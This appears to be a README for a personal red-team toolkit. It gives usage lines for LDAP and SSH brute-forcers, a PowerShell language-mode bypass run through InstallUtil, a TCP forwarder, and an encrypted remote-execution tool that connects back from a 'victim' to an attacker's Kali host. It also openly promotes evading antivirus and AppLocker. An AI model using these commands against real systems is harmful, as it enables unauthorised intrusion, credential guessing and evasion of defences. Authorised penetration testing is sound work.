Some custom tools for redteaming

I prefer to write my own tool for my own use because of the following reasons:

• improve programming skills
• understand how the tool works
• easily bypass AV

You can use the tools in pentest or redteam work. If the tool is detected by AV, don't worry, edit the code a bit and then build again. :)

Developing...

• [ ] TShell - Basic shell like C2 Framework which can easily bypass AV and applocker
• [ ] DNS Tunnel - Get sensitive data through DNS

List of my tools

Ldap Bruteforce

---

ldap_brute Small tool to help brute force ldap

ldapbrute -u <user> -p <password> -h <host>
ldapbrute -U <user file> -P <password file> -H <host file>

Bypass-CLM

---

• This will build an executable which executes a Full Language Mode powershell session. This method will provide a full powershell session just like running powershell.exe, but not powershell.
• If AppControl is enabled, you can run it with InstallUtil.
• Download bypass-clm and open it with Visual Studio, then build it.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "bypass-clm.exe"

Dir_Server

---

dir_server Simple directory listing in http-server like python http-simple-server. You can use it for download file.

dir_server [dir] [listen address]

Forward_Tcp

---

forward_tcp Simple way to create a tunnel from special port to another. Tool like socat but usage very easy.

forward_tcp [src] [dst]

NCC

---

Simple Remote Code Execution Tool via http or https which is normally not blocked and to the destination server, effectively bypassing the restrictions on firewall. It works like netcat but only for RCE purposes. All transmitted data is encrypted to avoid detection. It can work in 2 modes normal and reverse:

• normal
  • In kali(server)

  ncc -l -s <kali ip>:<port>
  

  • In victim

  ncc -s <kali ip>:<port> -e
  

• reverse
  • In kali

  ncc -s <victim ip>:<port>
  

  • In victim(server)

  ncc -l -s <victim ip>:<port> -e
  

SSH_Brute

---

ssh_brute Small tool to help brute force ssh

ssh_brute -u <user> -p <password> -h <host>
ssh_brute -U <user file> -P <password file> -H <host file>